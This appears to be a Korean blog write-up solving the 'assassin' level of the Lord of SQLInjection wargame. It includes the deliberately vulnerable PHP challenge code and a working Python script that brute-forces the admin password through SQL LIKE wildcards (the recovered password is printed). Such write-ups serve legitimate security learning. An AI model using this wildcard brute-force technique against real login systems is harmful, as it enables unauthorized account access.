LOS #15 assassin

2020. 10. 28. 22:59
728x90
728x90
728x90
 

Lord of SQLInjection

 

los.rubiya.kr

Source code

http://www.wechall.net
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

 

Query

select id from prob_assasin where pw like ''

 

Write-up

[사진 1]

위 사진에서 확인할 수 있는 정보는 다음과 같다.

  • 파라미터는 pw 1개가 사용될 수 있다.

  • pw 값에 single quote 필터링을 하고 있다.

  • pw 값을 like 명령어로 확인한다.

쿼리문에서 pw 값을 single quote로 감싸고 있기 때문에 pw를 escape하기 어렵다. pw 값을 추측해야 하는데, equal("=") 명령어가 아닌 like 명령어를 사용하고 있으므로 무작위 대입을 하면 된다. like 명령어의 "_" 와일드카드로 pw 값의 길이를 알아내고 "%" 와일드카드로 pw 값을 추측하면 된다.

 

* like 명령어 참고 링크

 

SQL LIKE Operator

SQL LIKE Operator The SQL LIKE Operator The LIKE operator is used in a WHERE clause to search for a specified pattern in a column. There are two wildcards often used in conjunction with the LIKE operator: % - The percent sign represents zero, one, or multi

www.w3schools.com

 

Code

#!/usr/bin/py
#-*-coding:utf-8 -*-

import requests

urlHome ="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
p = "?pw="
c = "세션값" #세션값
wc = "_"
length = 0
pw = ""
pwTmp = ""

while True:
  data = p + wc
  r = requests.post(urlHome + data, cookies=(dict(PHPSESSID=c)))
  
  if 'Hello admin' in r.text:
    length = wc.count('_')
    break
  elif 'Hello guest' in r.text:
    length = wc.count('_')
  
  wc += '_'
  if wc.count('_') == 20:
    break

print("length : ", length)

for i in range(1, length + 1):
  for j in range(48, 128):
    if j == 95: continue # "_" 제외
    data = "?pw=" + pw + chr(j) + "%"
    r = requests.post(urlHome + data, cookies=(dict(PHPSESSID=c)))

    if 'Hello admin' in r.text:
      pw += chr(j)
      print("admin pw : " + pw)
      break
    elif 'Hello guest' in r.text:
      pwTmp = chr(j)
    if j == 127:
      pw += pwTmp
      print("guest pw : " + pw)

print("pw : " + pw)

[사진 2]

 

Parameter

pw=902EFD10

쿼리문은 다음과 같다.

select id from prob_assasin where pw like '902EFD10'

 

Success

[사진 3]

728x90
728x90

'Wargame > LOS' 카테고리의 다른 글

LOS #17 zombie_assassin  (0) 2020.10.28
LOS #16 succubus  (0) 2020.10.28
LOS #14 giant  (0) 2020.10.28
LOS #13 bugbear  (0) 2020.10.28
LOS #12 darkknight  (0) 2020.10.28

+ Recent posts